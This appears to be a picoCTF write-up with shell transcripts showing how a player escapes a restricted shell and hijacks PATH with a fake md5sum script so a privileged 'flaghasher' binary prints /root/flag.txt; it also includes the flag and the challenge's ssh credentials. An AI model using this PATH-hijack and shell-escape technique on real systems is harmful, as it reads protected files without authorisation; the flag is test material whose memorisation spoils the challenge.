```
$ ls

$ which flaghasher

/usr/local/bin/flaghasher

$ cd /usr/local/bin/flaghasher

-rbash: cd: restricted

$ bash

$ echo -e '#!/bin/bash\ncat "$@"\n/bin/md5sum "$@"' > md5sum

$ $ chmod +x md5sum

bash: $: command not found

$ chmod +x md5sum

$  PATH=.:$PATH ./flaghasher

bash: ./flaghasher: No such file or directory

$ PATH=.:$PATH ./flaghashe

bash: ./flaghashe: No such file or directory

$ export PATH=.:$PATH ./flaghasher

bash: export: `./flaghasher': not a valid identifier

$ export PATH=.:$PATH

$ flaghasher

Computing the MD5 hash of /root/flag.txt....


picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_9c5db6a7}d77111adc0e4a3034d6e0dac135d32a8  /root/flag.txt
```

---

at first find the flaghasher file with the help of which command

which flaghasher

then cd that place but it does not work so use a illegal shell with bash command then everythin is same as part 1 just with different in the export command

root@kali: /home/kali

File Actions Edit View Help

```
ctf-player@pico-chall$ which flaghasher
/usr/local/bin/flaghasher
ctf-player@pico-chall$ cd /usr/local/bin/flaghasher
-rbash: cd: restricted
ctf-player@challenge:~$ bash
ctf-player@challenge:~$ echo -e '#!/bin/bash\ncat "$@"\n/bin/md5sum "$@"'
> md5sum
ctf-player@challenge:~$ $ chmod +x md5sum
bash: $: command not found
ctf-player@challenge:~$ chmod +x md5sum
ctf-player@challenge:~$  PATH=.:$PATH ./flaghasher
bash: ./flaghasher: No such file or directory
ctf-player@challenge:~$ PATH=.:$PATH ./flaghashe
bash: ./flaghashe: No such file or directory
ctf-player@challenge:~$ export PATH=.:$PATH ./flaghasher
bash: export: './flaghasher': not a valid identifier
ctf-player@challenge:~$ export PATH=.:$PATH
ctf-player@challenge:~$ flaghasher
Computing the MD5 hash of /root/flag.txt....

picoCTF{Co-@utH0r_Of_5y5tem_b!n@riEs_9c5db6a7}d77111adc0e4a3034d6e0dac135
d32a8  /root/flag.txt
ctf-player@challenge:~$ 
```

Compete 1 2 Classrooms 6 🔔 Arctic_knight

Challenges   Playlists   Assignments

Sec

Difficulty

Search

All Difficulties

Easy

Medium

Hard

Category

All Categories

Web Exploitation

ary Exploitation 👤 Easy
mat string 0
866 solves   52% 👍

ser_webshell_solvable

👤 ✕

Description

Here is a binary that has enough privilege to read the content of the
flag file but will only let you know its hash. If only it could just give you
the actual content!

Connect using ssh ctf-player@rescued-float.picoctf.net -p 57570
with the password, fa005713 and run the binary named "flaghasher".

1,736 users solved

picoCTF{Co-@utH0r_Of_5y5tem_b!n@riEs_9c5db6a7}

Submit Flag

This challenge launches an instance on
demand.
Its current status is: RUNNING

Instance Time Remaining: 7:55

Restart Instance

Hints ❓

(None)

86% Liked 👍

ary Exploitation 👤 Medium
sh-only-1
63 solves   88% 👍

ary Exploitation 👤 Medium
mat string 2
03 solves   92% 👍

Webshell